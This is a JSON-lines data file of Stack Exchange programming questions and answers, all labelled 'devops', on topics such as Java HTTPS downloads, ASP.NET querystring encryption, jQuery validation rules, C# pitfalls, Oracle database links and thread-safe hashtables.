{"id": "hf_c39c0cc9010f", "question": "<p>I am trying to download an xml.gz file from a remote server with HttpsURLConnection in java, but I am getting an empty response.  Here is a sample of my code:</p>\n\n<pre><code>URL server = new URL(\"https://www.myurl.com/path/sample_file.xml.gz\");\nHttpsURLConnection connection = (HttpsURLConnection)server.openConnection();\nconnection.connect();\n</code></pre>\n\n<p>When I try to get an InputStream from the connection, it is empty. (If I try connection.getInputStream().read() I get -1)  The file I am expecting is approximately 50MB. </p>\n\n<p>To test my sanity, I aslo tried entering the exact same url in my browser, and it did return the file I needed. Am I missing something?  Do I have to set some sort of parameter in the connection?  Any help/direction is much appreciated.  </p>\n", "question_body": "", "answer": "Is any exception being logged? Is the website presenting a self-signed SSL certificate, or one that is not signed by a CA? There are several reasons why it might work fine in your browser (the browser might have been told to accept self-signed certs from that domain) and not in your code.\nWhat are the results of using\ncurl\nor\nwget\nto fetch the URL?\nThe fact that the InputStream is empty / result from the InputStream.read() == -1 implies that there is nothing in the stream to read, meaning that the stream was not able to even be set up properly.\nUpdate\n:\nSee this page\nfor some info on how you can deal with invalid/self-signed certificates in your connection code. Or, if the site is presenting a certificate but it is invalid, you can import it into the keystore of the server to tell Java to trust the certificate.\nSee this page for more info\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.922071"}
{"id": "hf_56741e95215b", "question": "<p>Does anyone have any suggestions for a good approach to finding all the CPAN dependencies that might have arisen in a bespoke development project. As tends to be the case your local development environment rarely matches your live one and as you build more and more projects you tend to build up a local library of installed modules. These then lead to you not necessarily noticing that your latest project has a requirement on a non-core module. As there is generally a requirement to package the entire project up for deployment to another group (in our case our operations team), it is important to know what modules should be included in the package.  </p>\n\n<p>Does anyone have any insights into the problem.</p>\n\n<p>Thanks</p>\n\n<p>Peter</p>\n", "question_body": "", "answer": "In the past I have used\nDevel::Modlist\nwhich is reasonably good allowing you to go\n```\n```\nperl -d:Modlist script.pl\n```\n```\nTo get a list of the required modules.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.946048"}
{"id": "hf_508c39e5e6c8", "question": "<p>I need to encrypt and decrypt a querystring in ASP.NET. </p>\n\n<p>The querystring might look something like this:</p>\n\n<blockquote>\n  <p><a href=\"http://www.mysite.com/report.aspx?id=12345&amp;year=2008\" rel=\"noreferrer\">http://www.mysite.com/report.aspx?id=12345&amp;year=2008</a></p>\n</blockquote>\n\n<p>How do I go about encrypting the entire querystring so that it looks something like the following?</p>\n\n<blockquote>\n  <p><a href=\"http://www.mysite.com/report.aspx?crypt=asldjfaf32as98df8a\" rel=\"noreferrer\">http://www.mysite.com/report.aspx?crypt=asldjfaf32as98df8a</a></p>\n</blockquote>\n\n<p>And then, of course, how to I decrypt it? What's the best encryption to use for something like this? TripleDES?</p>\n", "question_body": "", "answer": "I can't give you a turn key solution off the top of my head, but you should avoid TripleDES since it is\nnot as secure as other encryption methods\n.\nIf I were doing it, I'd just take the entire URL (domain and querystring) as a\nURI object\n, encrypt it with one of the\nbuilt-in .NET libraries\nand supply it as the\n```\ncrypt\n```\nobject. When I need to decrypt it, do so, then create a new URI object, which will let you get everything back out of the original querystring.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.969784"}
{"id": "hf_faa4b2626872", "question": "<p>I'm running SQL Server 2000 and I need to export the SQL Statement from all the DTS objects so that they can be parsed and put into a wiki documentation if needed.  </p>\n\n<p>Is there a way to do that?</p>\n\n<p>maybe dumping each DTS object out into a text file with the object name as the file name with the name of the process and the date it was extracted as a file header.</p>\n\n<p>thanks.</p>\n", "question_body": "", "answer": "There is an API with an object model for the DTS packages.  You can get the SQL text through this.  The Books on Line docs describe this to some extent\nHere.\nYou can get examples of the object model usage by\nSaving the DTS package to a Visual BASIC file\nand looking at what the VB file does to the object model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.993539"}
{"id": "hf_e58a3ba93c2b", "question": "<p>Has anyone used jQuery to populate an autocomplete list on a textbox using ASP.NET webforms? If so, can anyone recommend a good method? From my reading so far, it seems like most people are using delimited lists rather than JSON to bring the items back. I'm open to any ideas that will get me up and running rather quickly. </p>\n", "question_body": "", "answer": "There are many, many examples on the web. I've used this one before, and if I recall you only need to create an aspx that will return matching terms as a\n```\n<BR/>\n```\nseparated list:\nhttp://www.dyve.net/jquery/?autocomplete\nThe documentation shows php in the example, but there's no difference in the way the plugin itself works and I didn't have to do anything special as a result.\nFrom the documentation:\n```\n```\n> $(\"#input_box\").autocomplete(\"my_autocomplete_backend.php\");\n```\n```\nIn the above example, Autocomplete\n  expects an input element with the id\n  \"input_box\" to exist. When a user\n  starts typing in the input box, the\n  autocompleter will request\n  my_autocomplete_backend.php with a GET\n  parameter named q that contains the\n  current value of the input box. Let's\n  assume that the user has typed\n  \"foo\"(without quotes). Autocomplete\n  will then request\n  my_autocomplete_backend.php?q=foo.\nThe backend should output possible\n  values for the autocompleter, each on\n  a single line. Output cannot contain\n  the pipe symbol \"|\", since that is\n  considered a separator (more on that\n  later).\nAn appropiate simple output would be:\n  foo \n  fool \n  foot \n  footloose \n  foo fighters\n  food fight", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.016520"}
{"id": "hf_9f71868ac9ed", "question": "<p>I have to create the sin function from scratch in my Comp Sci class, and I am getting close to a solution. However, I am still having a few problems. If I put in a value of .5PI or less it works, but otherwise I get the incorrect result. Here is the code I have so far:</p>\n\n<pre><code>double i=1;\ndouble sinSoFar = 0;\nint term = 1;\nwhile(i &gt;= .000001)\n{\n    i = pow(-1, term + 1) * pow(sinOf, 2*term-1) / factorial(2*term-1);\n    sinSoFar=sinSoFar + i;\n    term++;\n}\n</code></pre>\n", "question_body": "", "answer": "Some advices:\nStart with term = 0. The canonical MacLaurin expansion also does\ncompute the powers and the factorial\nwhile you are cycling\n(that is, updating them at each step). Maybe the problem is within pow() or factorial().\nEDIT. Suggestion: once you have computed the k-th term, you can compute the (k+1)-th one by:\nMultiplying by (-1)\nMultiplying by sinOf^2\nDividing by (2k+2)(2k+3)\nIn this way you can completely\navoid\nthe computation of powers and factorials.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.062582"}
{"id": "hf_877ded67d444", "question": "<p>I have seen some websites use the following tag:</p>\n\n<pre><code>&lt;meta type=\"title\" content=\"Title of the page\" /&gt;\n</code></pre>\n\n<p>Is it needed when you have a <code>&lt;title&gt;</code>?</p>\n\n<p>Also, what's the best formatting for a page title? Some ideas:</p>\n\n<ul>\n<li>Page Description :: Company Name</li>\n<li>Page Description - Company Name</li>\n<li>Page Description &lt;> Company Name</li>\n<li>Company Name: Page Description</li>\n<li>...</li>\n</ul>\n\n<p>Does it matter to Google/Yahoo/etc? Do you include the company name or a general description of the site in the title on every page? </p>\n", "question_body": "", "answer": "Search engines often ignore meta tags as in the past they where used for spamming purposes. The best tag for title is precisely\n```\n<title>\n```\n.\nAs the best formatting for the title there is no best recipe, but instead try to make the title as descriptive as possible of the real contents of the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.084404"}
{"id": "hf_c42b47960f9f", "question": "<p>I've got a series of GIFs that I need to crop on the fly, I'm using a HTTP Handler in C# so I can better encapsulate the code - provide caching for the result etc.</p>\n\n<p>Currently, when I draw the existing image to a new <code>Image</code> via the <code>Graphics</code> object all the transparency is lost.</p>\n\n<p>I've tried various techniques to try and maintain the transparency, but to no avail.</p>\n\n<p>Things I've tried:</p>\n\n<ul>\n<li>Using the <code>MakeTransparent (Color)</code> method call</li>\n<li>Using the <code>ImageAttriutes</code> with a combination of <code>ColorMap</code> and <code>SetColorKey</code></li>\n</ul>\n\n<p>I don't really want to start using unsafe operators or Win32 calls.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "When I have used transparency I've always used\n```\nBitmap\n```\n. I.e.\n```\n```\nSystem.Drawing.Image SourceImage = System.Drawing.Image.FromFile(\"the.gif\");\nSystem.Drawing.Bitmap NewImage = new System.Drawing.Bitmap(SourceImage);\n// Do Processing\nNewImage.MakeTransparent();\n// Store changes\nNewImage.Save(..., System.Drawing.Imaging.ImageFormat.Png);\n```\n```\nOf course if you cannot move away from the\n```\nGraphics\n```\nobject then that may not be of much use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.130613"}
{"id": "hf_b25d97954349", "question": "<p>I have a 4 side convex Polygon defined by 4 points in 2D, and I want to be able to generate random points inside it.</p>\n\n<p>If it really simplifies the problem, I can limit the polygon to a parallelogram, but a more general answer is preferred.</p>\n\n<p>Generating random points until one is inside the polygon wouldn't work because it's really unpredictable the time it takes.</p>\n", "question_body": "", "answer": "A. If you can restrict your input to parallelogram, this is really simple:\nTake two random numbers between 0 and 1. We'll call then\n```\nu\n```\nand\n```\nv\n```\n.\nIf your parallelogram is defined by the points ABCD such that AB, BC, CD and DA are the sides, then take your point as being:\n```\n```\np = A + (u * AB) + (v * AD)\n```\n```\nWhere\n```\nAB\n```\nis the vector from A to B and\n```\nAD\n```\nthe vector from A to D.\nB. Now, if you cannot, you can still use the barycentric coordinates. The barycentric coordinates correspond, for a quad, to 4 coordinates\n```\n(a,b,c,d)\n```\nsuch that\n```\na+b+c+d=1\n```\n. Then, any point\n```\nP\n```\nwithin the quad can be described by a 4-uple such that:\n```\n```\nP = a A + b B + c C + d D\n```\n```\nIn your case, you can draw 4 random numbers and normalize them so that they add up to 1. That will give you a point. Note that the distribution of points will NOT be uniform in that case.\nC. You can also, as proposed elsewhere, decompose the quad into two triangles and use the half-parallelogram method (i.e., as the parallelogram but you add the condition\n```\nu+v=1\n```\n) or the barycentric coordinates for triangles. However, if you want uniform distribution, the probability of having a point in one of the triangle must be equal to the area of the triangle divided by the area of the quad.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.154445"}
{"id": "hf_8c9b8626eb8b", "question": "<p>Can I call a stored procedure in Oracle via a database link?</p>\n\n<p>The database link is functional so that syntax such as...</p>\n\n<pre><code>SELECT * FROM myTable@myRemoteDB\n</code></pre>\n\n<p>is functioning.  But is there a syntax for...</p>\n\n<pre><code>EXECUTE mySchema.myPackage.myProcedure('someParameter')@myRemoteDB\n</code></pre>\n", "question_body": "", "answer": "The syntax is\n```\n```\nEXEC mySchema.myPackage.myProcedure@myRemoteDB( 'someParameter' );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.178454"}
{"id": "hf_ce07f70e9fa3", "question": "<p>I'm currently working on a project where a section of the code looks like this:</p>\n<pre><code>Select Case oReader.Name\n    Case &quot;NameExample1&quot;\n        Me.Elements.NameExample1.Value = oReader.ReadString\n        ' ...\n    Case &quot;NameExampleN&quot;\n        Me.Elements.NameExampleN.Value = oReader.ReadString\n        ' ...\nEnd Select\n</code></pre>\n<p>It continues on for a while. The code is obviously verbose and it <em>feels</em> like it could be improved. Is there any way to dynamically invoke a property in VB.NET such that something like this can be done:</p>\n<pre><code>Dim sReadString As String = oReader.ReadString\nMe.Elements.InvokeProperty(sReadString).Value = sReadString\n</code></pre>\n", "question_body": "", "answer": "Others have answered perfectly reasonably, but just in case this is a performance-sensitive piece of code, you might want to compile the reflective calls into delegates.\nI've got a\nblog entry\nabout turning\nMethodBase.Invoke\ninto delegates. The code is in C#, but the same technique can be applied to VB.NET as well. To use this with properties, get the appropriate \"setter\" method with\nPropertyInfo.GetSetMethod\nand then build a delegate which invokes that. You could have a map from field name to \"delegate to call to set the field\".\nJust to reiterate, this is only really necessary if it's in a performance-critical piece of code. Otherwise, you might still want to create a\n```\nDictionary<string, PropertyInfo>\n```\nto avoid calling\n```\nGetProperty\n```\nmany times, but the step to convert it into a delegate probably isn't worth worrying about.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.202165"}
{"id": "hf_753947e6a1c1", "question": "<p>So in a .NET app , i got about 2 million items that i need to hold them in memory for processing , 1 by 1, would holding these items in a Stack collection , is better than holding them in a List collection, assuming that the memory used by the stack object will be keep minimizing every time an item is poped out of the stack object , or the memory allocated by the stack will keep the same till the stack is set to null, or cleared.</p>\n\n<p>sorry if i couldn't express the question in the right way.. but here is another way, when a Stack collection is used, does the memory used by the stack get minimized every time an item is pulled out of the stack.</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "They'll basically be the same for\n```\nStack<T>\n```\nif you definitely want FILO behaviour - because when you remove an element from the end of a\n```\nList<T>\n```\nit doesn't need to copy anything.\nNow if you were talking about a\n```\nQueue<T>\n```\nthat would be different - removing from the\nhead\nof a\n```\nList<T>\n```\ninvolves copying the rest of the items, which is inefficient.\nThe actual memory usage will be the same for either of them - I don't believe either\n```\nList<T>\n```\nor\n```\nStack<T>\n```\nautomatically \"trim to size\" when elements are removed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.249653"}
{"id": "hf_70c3dbb14e35", "question": "<p>When you have a derived class, is there an simpler way to refer to a variable from a method other than:</p>\n\n<pre><code>BaseClass::variable\n</code></pre>\n\n<p><strong>EDIT</strong>\n<br>As it so happens, I found a page that explained this issue using functions instead:\n<a href=\"http://www.parashift.com/c++-faq-lite/templates.html#faq-35.19\" rel=\"nofollow noreferrer\">Template-Derived-Classes Errors</a>. Apparently it makes a difference when using templates classes.</p>\n", "question_body": "", "answer": "If the base class member variable is protected or public than you can just refer to it by name in any member function of the derived class.  If it is private to the base class the compiler will not let the derived class access it at all.  Example:\n```\n```\nclass Base\n{\nprotected:\n  int a;\n\nprivate:\n  int b;\n};\n\nclass Derived : public Base\n{\n  void foo()\n  {\n    a = 5;  // works\n    b = 10; // error!\n  }\n};\n```\n```\nThere is also something to be said for keeping all member variables private, and providing getters and setters as needed.\nAlso, beware of \"hiding\" data members:\n```\n```\nclass Base\n{\npublic:\n  int a;\n};\n\nclass Derived : public Base\n{\npublic:\n  int a;\n};\n```\n```\nThis will create two variables named\n```\na\n```\n: one in\n```\nBase\n```\n, one in\n```\nDerived\n```\n, and it will likely lead to confusion and bugs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.273939"}
{"id": "hf_dbfefb52b1ff", "question": "<p>From the MSDN documentation:</p>\n\n<p>\"Synchronized supports multiple writing threads, provided that no threads are reading the Hashtable. The synchronized wrapper does not provide thread-safe access in the case of one or more readers and one or more writers.\"</p>\n\n<p>Source:\n<a href=\"http://msdn.microsoft.com/en-us/library/system.collections.hashtable.synchronized.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/system.collections.hashtable.synchronized.aspx</a></p>\n\n<p>It sounds like I still have to use locks anyways, so my question is why would we use Hashtable.Synchronized at all?</p>\n", "question_body": "", "answer": "For the same reason there are different levels of DB transaction.  You may care that writes are guaranteed, but not mind reading stale/possibly bad data.\nEDIT\nI note that their specific example is an Enumerator.  They can't handle this case in their wrapper, because if you break from the enumeration early, the wrapper class would have no way to know that it can release its lock.\nThink instead of the case of a counter.  Multiple threads can increase a value in the table, and you want to display the value of the count.  It doesn't matter if you display 1,200,453 and the count is actually 1,200,454 - you just need it close.  However, you don't want the data to be corrupt.  This is a case where thread-safety is important for writes, but not reads.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.347960"}
{"id": "hf_6e0b78712be2", "question": "<p>Is there some way to get a value from the last inserted row?</p>\n\n<p>I am inserting a row where the PK will automatically increase, and I would like to get this PK. Only the PK is guaranteed to be unique in the table.</p>\n\n<p>I am using Java with a JDBC and PostgreSQL.</p>\n", "question_body": "", "answer": "The sequences in postgresql are transaction safe. So you can use the\n```\n```\ncurrval(sequence)\n```\n```\nQuote:\ncurrval\nReturn the value most recently obtained by nextval for this sequence\n    in the current session. (An error is\n    reported if nextval has never been\n    called for this sequence in this\n    session.) Notice that because this is\n    returning a session-local value, it\n    gives a predictable answer even if\n    other sessions are executing nextval\n    meanwhile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.444072"}
{"id": "hf_742c0914115b", "question": "<p>I have a rich-text editor on my site that I'm trying to protect against XSS attacks. I think I have pretty much everything handled, but I'm still unsure about what to do with images. Right now I'm using the following regex to validate image URLs, which I'm assuming will block inline javascript XSS attacks:  </p>\n\n<pre><code>\"https?://[-A-Za-z0-9+&amp;@#/%?=~_|!:,.;]+\"\n</code></pre>\n\n<p>What I'm not sure of is how open this leaves me to XSS attacks from the remote image. Is linking to an external image a serious security threat?</p>\n\n<p>The only thing I can think of is that the URL entered references a resource that returns \"<code>text/javascript</code>\" as its MIME type instead of some sort of image, and that javascript is then executed.</p>\n\n<p>Is that possible? Is there any other security threat I should consider?</p>\n", "question_body": "", "answer": "Another thing to worry about is that you can easily embed PHP code inside an image and upload that most of the time. The only thing an attack would then have to be able to do is find a way to include the image. (Only the PHP code will get executed, the rest is just echoed). Check the MIME-type won't help you with this because the attacker can easily just upload an image with the correct first few bytes, followed by arbitrary PHP code. (The same is somewhat true for HTML and Javascript code).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.515228"}
{"id": "hf_758f3b93c880", "question": "<p>Im just starting a project and since this project is personal I was wondering what are the advantages of using Enterprise Library? We use the version 2 for several projects in the office but im not quite sure (aside of the good practices) of the advantages of it, especially in the database component. Any advice? Thanks</p>\n", "question_body": "", "answer": "For the database application block, the main advantage is that it makes it easier to produce database-agnostic code. The developer interacts mainly with generic Database and DbCommand objects, rather than eg SqlConnection, SqlCommand, etc.  Thus, switching to a different database (ie Oracle) becomes more feasible. Depending on your business needs, this could be a definite advantage.  EntLib also gently prods the developer in the direction of using DbParameter for query parameters, which reduces the risk of SQL injection attacks.\nAs another poster mentionned, the data app block is somewhat higher-level than the straight ADO.NET classes, so it tends to require fewer lines of code to do the same thing.\nFrom my point of view, the data, exception and logging blocks are the most useful.  Exception and Logging together make it very easy to log exceptions (duh) to a number of places and in a number of formats.  For example, they can put the entire exception log entry, including the stack trace, in the Windows event log making it relatively easy to diagnose a problem.\nOne disadvantage of EntLib is that some app blocks place quite a bit of logic into configuration files.  So your logic is more spread out; some of it is in code, some in config files.  The upside is that the configuration can be modified post-build and even post-deployment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.550091"}
{"id": "hf_0a6c71c5ceec", "question": "<p>I have a DataGridView with one DataGridViewComboBoxColumn in my WinForms application. I need to drop down (open) this DataGridViewComboBoxColumn manually, let's say after a button is clicked.</p>\n\n<p>The reason I need this is I have set SelectionMode to FullRowSelect and I need to click 2-3 times to open the combo box. I want to click on the combobox cell and it should drop down immediately. I want to do this with CellClick event, or is there any other way?</p>\n\n<p>I am searching in Google and VS help, but I haven't found any information yet.</p>\n\n<p>Can anybody help please?</p>\n", "question_body": "", "answer": "I know this can't be the ideal solution but it does create a single click combo box that works within the cell.\n```\n```\nPrivate Sub cell_Click(ByVal sender As System.Object, ByVal e As DataGridViewCellEventArgs) Handles DataGridView1.CellClick\n        DataGridView1.BeginEdit(True)\n        If DataGridView1.Rows(e.RowIndex).Cells(ddl.Name).Selected = True Then\n            DirectCast(DataGridView1.EditingControl, DataGridViewComboBoxEditingControl).DroppedDown = True\n        End If\n    End Sub\n```\n```\nwhere \"ddl\" is the combobox cell I added in the gridview.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.656330"}
{"id": "hf_aba331c2dbea", "question": "<p>I recently introduced HTML into some RSS feeds that I publish (which up to now only had plain text, no markup), and I was wondering which method is better: use character encoding (such as htmlspecialchars) or just encapsulate everything in CDATA?</p>\n\n<p>It seems to me that CDATA might be easier, but I'm unclear as to whether there might be any reasons (subtle or otherwise) for choosing one approach versus the other. (For starters, the CDATA approach would be easier to read when viewing source...)</p>\n", "question_body": "", "answer": "At the risk of giving you the answer you may not want to hear: use\nAtom\ninstead of\nRSS.\nAtom is nicely namespaced XML, so you can mix and match XHTML right in, without having to worry about the encoding issue you ask about.\nIt's pretty much supported everywhere RSS is, and because it's just vanilla Atom, it's easier to roll your own if you really don't want to use a library to manipulate it.\nAtom is also a IETF standard, which RSS isn't.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.703669"}
{"id": "hf_116adee6d15b", "question": "<p>I've got a workspace with multiple RCP plugin projects.</p>\n\n<p>We've set the target platform, so we can build against a standard set of plugins, but are not able to see source code and Javadoc for all the platform plugins.</p>\n\n<p>The Windows -> Preferences -> Plug-in Development -> Target Platform -> Source Code Locations page doesn't seem to have any effect when I add the eclipse directory (it only allows you to add directories). </p>\n\n<p>Copying the source jars from the eclipse directory into the target platform has a similar effect.</p>\n\n<p>What am I doing wrong? How do I attach a set of Source jars to my target platform?</p>\n", "question_body": "", "answer": "I can modify the target platform at runtime, using the\n```\n-install\n```\nruntime option. Keep the targetPlatform as the eclipse platform.\nHowever, this loses a lot of the benefits of using a target platform in the first place - i.e. compile time safety.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.733551"}
{"id": "hf_b56d878a44f1", "question": "<p>I was recently working with a <code>DateTime</code> object, and wrote something like this:</p>\n\n<pre><code>DateTime dt = DateTime.Now;\ndt.AddDays(1);\nreturn dt; // still today's date! WTF?\n</code></pre>\n\n<p>The intellisense documentation for <code>AddDays()</code> says it adds a day to the date, which it doesn't - it actually <em>returns</em> a date with a day added to it, so you have to write it like:</p>\n\n<pre><code>DateTime dt = DateTime.Now;\ndt = dt.AddDays(1);\nreturn dt; // tomorrow's date\n</code></pre>\n\n<p>This one has bitten me a number of times before, so I thought it would be useful to catalog the worst C# gotchas.</p>\n", "question_body": "", "answer": "I saw this one posted the other day, and I think it is pretty obscure, and painful for those that don't know\n```\n```\nint x = 0;\nx = x++;\nreturn x;\n```\n```\nAs that will return 0 and not 1 as most would expect", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.757626"}
{"id": "hf_56d56c877ede", "question": "<p>How do you create a simple, custom rule using the jQuery Validate plugin (using <a href=\"http://jqueryvalidation.org/jQuery.validator.addMethod\" rel=\"noreferrer\"><code>addMethod</code></a>) that doesn't use a regex?</p>\n\n<p>For example, what function would create a rule that validates only if at least one of a group of checkboxes is checked?</p>\n", "question_body": "", "answer": "You can create a simple rule by doing something like this:\n```\n```\njQuery.validator.addMethod(\"greaterThanZero\", function(value, element) {\n    return this.optional(element) || (parseFloat(value) > 0);\n}, \"* Amount must be greater than zero\");\n```\n```\nAnd then applying this like so:\n```\n```\n$('validatorElement').validate({\n    rules : {\n        amount : { greaterThanZero : true }\n    }\n});\n```\n```\nJust change the contents of the 'addMethod' to validate your checkboxes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.816289"}
{"id": "hf_0eb92dea2ac9", "question": "<p>I want to filter the selectable dates on a datepicker. I basically need to filter by work days - i.e. make holidays and weekends not selectable.</p>\n\n<p>I know you can specify dates using a function in the beforeShowDate: and you can also use $.datepicker.noWeekends.</p>\n\n<p>Question is: can you do both?</p>\n", "question_body": "", "answer": "$.datepicker.noWeekends is a pretty simple bit of code:\n```\n```\nfunction (date) { \n    var day = date.getDay(); \n    return [day > 0 && day < 6, \"\"]; \n}\n```\n```\nSince you're going to have to write up the function for holidays, you can just include this logic in that function too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.850250"}
{"id": "hf_87103e4a0aff", "question": "<p>Is there anything built into Windows and the .Net framework for programmatically installing and executing applications remotely? Ie: an API for remote software deployment. I'd like to build a tool that can install services on a pool of new computers from one central admin workstation.</p>\n\n<p>Update: The computers are part of an internal IT network, and the applications and services are mostly internally developed. The deployment program would be completely internal, and not sold commercially.</p>\n", "question_body": "", "answer": "All of the pieces are there (copying files to a remote machine, spawning a process on a remote machine, etc.) You will be looking at a fair amount of programming to put it all together into a robust application. You will also need to make sure the clients are configured properly and safely. Naively configuring the client to allow you to do this would most likely wind up with massive security holes on your client machines. I would suggest looking at SMS or one of the many similar third party apps. At the very least even if you can't afford to use an already written app (highly recommend that you do) then you could look at their feature lists to get an idea of what sort of issues you need to be thinking about.\nWith the further provided information, I would ask if you are using Group Policies in your environment. If you are, then you may be able to package your application as an MSI then deploy via policy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:19.990429"}
{"id": "hf_97c8c69be1f5", "question": "<p>Could someone supply some code that would get the xpath of a System.Xml.XmlNode instance?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "There's no such thing as \"the\" xpath of a node. For any given node there may well be many xpath expressions which will match it.\nYou can probably work up the tree to build up\nan\nexpression which will match it, taking into account the index of particular elements etc, but it's not going to be terribly nice code.\nWhy do you need this? There may be a better solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.025867"}
